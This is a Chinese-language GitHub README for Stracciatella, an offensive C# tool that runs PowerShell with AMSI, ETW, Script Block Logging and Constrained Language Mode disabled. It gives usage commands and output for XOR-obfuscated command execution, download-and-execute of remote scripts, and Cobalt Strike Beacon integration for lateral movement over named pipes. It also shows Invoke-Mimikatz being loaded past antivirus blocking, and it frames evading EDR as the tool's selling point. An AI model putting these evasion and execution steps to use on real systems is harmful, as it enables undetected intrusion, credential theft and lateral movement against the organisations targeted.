mgeeky/Stracciatella

GitHub: mgeeky/Stracciatella

一款基于 C# 的 PowerShell runspace 执行器,通过反射技术在启动时禁用 AMSI、ETW、Script Block Logging 等安全机制,为红队提供更隐蔽的 PowerShell 执行环境。

Stars: 538 | Forks: 65

# Stracciatella v0.7 从 C# 中执行 Powershell runspace(又称 `SharpPick` 技术),并在启动时禁用 AMSI、ETW 和 Script Block Logging,为您提供便捷。 如今,Powershell 受到大量安全机制的严密监控,主要使用的技术包括: * AMSI * ETW * Script Block Logging * Transcript 文件 * Modules 日志 * Constrained Language Mode 高级攻击者必须找到绕过这些防护的方法,才能实施复杂的对抗性模拟演练。为了协助这些工作,创建了本项目。 本程序建立在针对特定技术的绕过方法之上,这些方法包含在: * [Disable-Amsi.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-Amsi.ps1) * [KillETW.ps1 by tandasat](https://gist.githubusercontent.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32/raw/115d0c513d041243a06a764546fd57e7c2f5e47e/KillETW.ps1) * [Disable-ScriptLogging.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-ScriptLogging.ps1) 而这些又基于以下研究: - Matt Graeber: https://github.com/mattifestation/PSReflect - Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160 - Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/ - Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ - Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html - Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html SharpPick 的理念,即通过使用 Runspaces 从 C# 程序集中启动 powershell 脚本,也不是新技术,最初由 Lee Christensen (@tifkin_) 在他的项目中实现: * [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 此外,源代码还借鉴了 Lee 的 `CustomPSHost` 实现。 本项目继承了上述研究和伟大安全社区的成果,旨在提供一个在启动时禁用防御功能的、接近有效的 Powershell 环境。 现在可以使用 .NET 4.0 轻松编译;如果使用 .NET Framework 4.7.1+ 编译,则包含一个附加功能,允许卸载构成 CLM 绕过痕迹的 DLL,并尝试随后删除它们(说实话效果不太稳定)。 使用 .NET 4.0 编译的 Stracciatella 效果最佳。 ## OpSec * 本程序提供动态解码传递参数的功能,使用单字节 XOR 解码 * 在启动任何命令之前,确保使用两种方法禁用 AMSI 和 ETW * 在启动任何命令之前,确保使用两种方法禁用 Script Block 日志 * 本程序不修补任何系统库或系统原生代码(如 amsi.dll) * 已做出努力,不将解码后的脚本/命令过长时间存储在内存中,以保护自身免受 EDR 和 AV 控制的内存转储技术的影响 ## 用法 有几个可用的选项: ``` PS D:\> Stracciatella -h :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled. Mariusz Banach / mgeeky, '19-22 v0.7 Usage: stracciatella.exe [options] [command] -s , --script - Path to file containing Powershell script to execute. If not options given, will enter a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script. -v, --verbose - Prints verbose informations -n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys). By default these are going to be always removed. -C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted. -f, --force - Proceed with execution even if Powershell defenses were not disabled. By default we bail out on failure. -c, --command - Executes the specified commands You can either use -c or append commands after stracciatella parameters: cmd> straciatella ipconfig /all If command and script parameters were given, executes command after running script. -x , --xor - Consider input as XOR encoded, where is a one byte key in decimal (prefix with 0x for hex) -p , --pipe - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of its length coded in little-endian (Length-Value notation). -t , --timeout - Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite. -e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well. Decodes input command after decoding and running input script file. By default we only decode input file and consider command given in plaintext ``` 该程序接受命令和脚本文件路径作为输入。两者都是可选的,如果均未提供,则将启动一个伪 Shell (pseudo-shell)。 命令和脚本均可使用单字节 XOR 进一步编码(将输出 Base64 编码),以获得更好的 OpSec 体验。 以下展示几个用例示例: 1. *伪 Shell* - 当既未指定命令也未指定脚本路径选项时启动: ``` PS D:\> Stracciatella.exe -v :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled. Mariusz Banach / mgeeky, '19-22 v0.7 [.] Powershell's version: 5.1 [.] Language Mode: FullLanguage [+] No need to disable Constrained Language Mode. Already in FullLanguage. [+] Script Block Logging Disabled. [+] AMSI Disabled. [+] ETW Disabled. Stracciatella D:\> $PSVersionTable Name Value ---- ----- PSVersion 5.1.18362.1 PSEdition Desktop PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...} BuildVersion 10.0.18362.1 CLRVersion 4.0.30319.42000 WSManStackVersion 3.0 PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 ``` 2. *XOR 编码(密钥 = 0x31)的命令和脚本文件路径* 首先,为了准备编码语句,我们可以使用附带的 `encoder.py` 脚本,其用法如下: ``` PS D:\> python encoder.py -h usage: encoder.py [options] positional arguments: command Specifies either a command or script file's path for encoding optional arguments: -h, --help show this help message and exit -x KEY, --xor KEY Specifies command/file XOR encode key (one byte) -o PATH, --output PATH (optional) Output file. If not given - will echo output to stdout PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode" ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU ``` 然后我们将 `encoder.py` 的输出作为 Stracciatella 的编码命令输入: ``` PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1 :: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled. Mariusz Banach / mgeeky, '19-22 v0.7 [.] Will load script file: '.\Test2.ps1' [+] AMSI Disabled. [+] ETW Disabled. [+] Script Block Logging Disabled. [.] Language Mode: FullLanguage PS> & '.\Test2.ps1' PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode [+] Yeeey, it really worked. It works like a charm! FullLanguage ``` 其中: - `Command` 由以下命令构建:`Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))` - `Test2.ps1` - 包含:`"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM="` `(Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))` ## Cobalt Strike 支持 Stracciatella 附带一个 Aggressor script,加载后会在 Beacon 控制台中暴露 `stracciatella` 命令。其用法与 `powerpick` 非常相似(通过 `stracciatella-import` 预先导入 powershell 脚本)。输入参数将与随机密钥进行异或运算,并通过随机命名的 Pipe 传递给 Stracciatella 的 runspace。 可用的 Cobalt Strike 命令如下: | Cobalt Strike 命令 | 描述 | |------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------| | `stracciatella [-v] ` | 执行给定的命令 | | `stracciatella-remote [-v] ` | 在指定管道上的远程机器上执行给定的命令 | | `stracciatella-import ` | 导入一个 powershell 脚本供 Stracciatella 使用 | | `stracciatella-script ` | 使用指定的 Powershell (ps1) 脚本预加载 Powershell 命令(`stracciatella-import` 和 `stracciatella` 的单操作组合) | | `stracciatella-clear` | 清除该 Beacon 上导入的脚本 | | `stracciatella-timeout ` | 调整默认的命名管道读取超时时间 | | `bofnet_loadstracciatella` | 将 Stracciatella.exe 加载到 BOF.NET(如果正在使用) | | `bofnet_stracciatella ` | (非阻塞) 通过 BOF.NET `bofnet_jobassembly` 在安全的 Stracciatella runspace 中运行 Powershell 命令 | | `bofnet_executestracciatella ` | (阻塞) 通过 BOF.NET `bofnet_executeassembly` 在安全的 Stracciatella runspace 中运行 Powershell 命令 | | `bofnet_stracciatella_script ` | 预加载指定的 Powershell 脚本并使用参数启动给定的命令 (通过 BOF.NET) | 使用 Stracciatella 的策略之一是配置足够长的管道读取超时 (1),在远程机器上启动它 (2),从而借助 Stracciatella 通过命名管道进行横向移动。 相对于 `powerpick` 的优势在于,Stracciatella 不会像 Powerpick 那样修补 _AMSI.dll_(_AmsiScanBuffer_ 补丁),因此对于寻找内存补丁的 EDR 来说,可能产生更少的取证噪音。此外,Stracciatella 最终将能够稳定地绕过 `powerpick` 目前无法绕过的 _Constrained Language Mode_: ``` beacon> stracciatella-import PowerView.ps1 [+] host called home, sent: 143784 bytes beacon> stracciatella Get-Domain [*] Tasked Beacon to run Stracciatella: Get-Domain [+] host called home, sent: 264483 bytes [+] received output: Forest : contoso.local DomainControllers : {dc.contoso.local} Children : {us.eu.contoso.local} DomainMode : Unknown DomainModeLevel : 7 Parent : contoso.local PdcRoleOwner : dc.eu.contoso.local RidRoleOwner : dc.eu.contoso.local InfrastructureRoleOwner : dc.eu.contoso.local Name : eu.contoso.local ``` 最后,Stracciatella 可以轻松地被其他不提供绕过 powershell 防护功能的工具/C2 使用。 每当 `stracciatella` 返回错误代码 2 (_ERROR_FILE_NOT_FOUND_) 时,是因为 Stracciatella 在内部等待数据写入其命名管道时超时。 ``` beacon> stracciatella Resolve-IPAddress dc1.bank.corp [*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp [+] [11/02 03:32:50] host called home, sent: 1007245 bytes [+] [11/02 03:33:13] host called home, sent: 191805 bytes [-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2. ``` 但这可以通过使用以下命令调整 Straciatella 的超时参数来解决: ``` beacon> stracciatella-timeout 600000 beacon> stracciatella Resolve-IPAddress dc1.bank.corp [*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp [+] [11/02 04:01:11] host called home, sent: 1007265 bytes [+] [11/02 04:01:33] host called home, sent: 191805 bytes [+] received output: ComputerName IPAddress ------------ --------- dc1.bank.corp 10.10.10.5 ``` 相关的 aggressor script 利用内部 Beacon 例程写入随机命名的管道,该管道的另一端由 Stracciatella 的逻辑监听。接收端将等待传入数据一段时间(Stracciatella 选项中的 `--timeout` 参数,默认为 60 秒),如果没有数据 - 将超时并优雅地中止。否则,接收到的命令将照常解码并执行。 有时我们有一些 Powershell 脚本,它们不暴露任何函数或反射加载我们想从 Powershell 运行时调用的 .NET 模块。为了促进这种用例,可以使用 `stracciatella-script ` 用分号分隔后附加到该脚本中。 ### BOF.NET 支持 Stracciatella 的 Aggressor script (CNA) 会检测是否加载了 BOF.NET,如果是,则暴露一个命令: `bofnet_loadstracciatella` 该命令执行 `bofnet_load stracciatella.exe`。此外,Stracciatella 随后将通过 `bofnet_jobassembly` 运行,而不是 Cobalt 的内置 `execute-assembly`。 可以通过更改 `stracciatella.cna` 脚本中的全局变量来调整该行为: ``` # # 如果 Cobalt Strike 中加载了 BOF.NET,优先使用 `bofnet_jobassembly` 命令而不是 `execute-assembly`。 # 当我们希望通过 BOF.NET 以 inline/in-process 方式运行,而不是使用 fork & run 时,这非常有用。 # $FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true"; ``` ## 如何禁用 AMSI 和 Script Block 日志? 通过使用反射,正如 Matt Graeber 所发现的那样,但本程序的方法稍作修改。我们不通过名称(如 "amsiInitFailed")来引用符号,而是通过遍历每一个可以反射获取的 Assembly、Method、Type 和 Field 来查找它们。然后我们通过操作 Management.Automation 程序集中的 NonPublic 和 Static 变量来禁用 AMSI。Script Block 日志也是如此,其中一些想法基于 Ryan Cobb (@cobbr) 的研究。 实际上,`Stracciatella` 使用的方法与我上面提到的 `Disable-*.ps1` 文件中已涵盖的实现相同。 此外,**我们不尝试修补 amsi.dll**,这有点太吵了,而且不久的将来可能会受到 EDR/HIPS/AV 的密切监控。与反射变量破坏相比,破坏系统库的完整性显然正在失去优势。 ## 直接给我看 `Invoke-Mimikatz`,好吗? 当然,给您: ``` PS D:\> "amsiInitFailed" At line:1 char:1 + "amsiInitFailed" + ~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS D:\> . .\Invoke-Mimikatz.ps1 At line:1 char:1 + . .\Invoke-Mimikatz.ps1 + ~~~~~~~~~~~~~~~~~~~~~~~ This script contains malicious content and has been blocked by your antivirus software. + CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : ScriptContainedMaliciousContent PS D:\> .\Stracciatella.exe -v :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled. Mariusz Banach / mgeeky, '19-22 v0.7 [-] It looks like no script path was given. [+] AMSI Disabled. [+] ETW Disabled. [+] Script Block Logging Disabled. [.] Language Mode: FullLanguage Stracciatella D:\> . .\Invoke-Mimikatz.ps1 Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit" .#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 20 modules * * */ mimikatz(powershell) # coffee ( ( ) ) .______. | |] \ / `----' mimikatz(powershell) # exit Bye! ``` ## 已知问题,TODO 目前,Stracciatella 提供 powershell 命令运行空间的方式并不是最隐蔽的。我们基本上创建了一个 Powershell runspace,它会加载相应的 .NET Assembly。这可能会被视为 Stracciatella 进程有些可疑的标志。 - **目前无法完全清理 CLM 禁用痕迹:正在使用中的、留在 %TEMP% 中的 DLL 文件。** - 实现使用 2、3 和 4 字节长密钥的滚动 XOR。 - 实现更多的编码/加密策略,特别是利用环境密钥的策略 - 添加 Tab-自动补全和对 上/下 箭头的支持(前提是明文命令不会存储在 Straciatella 的内存中) - 添加彩色输出 - Script Block Logging 绕过针对 Windows Server 2016 和 Windows 10 _可能无效_,正如[此处](https://github.com/mgeeky/Stracciatella/issues/4)所报告 ### ☕ 表示支持 ☕ 这个和其他项目都是熬夜和**大量辛勤工作**的成果。如果您喜欢我所做的工作,并且赞赏我总是回馈社区, [请考虑请我喝杯咖啡](https://github.com/sponsors/mgeeky) _(或者最好是啤酒)_ 以表感谢! 💪 ## 作者 ``` Mariusz Banach / mgeeky, '20-22 (https://github.com/mgeeky) ```
标签:AI合规, AMSI 绕过, DNS 反向解析, EDR 规避, ETW 绕过, IPv6, .NET 安全, OpenCanary, OpSec, PowerShell, Runspace, SharpPick, 受限语言模式, 攻击模拟, 日志清除, 私有化部署, 脚本块日志, 防御规避, 驱动签名利用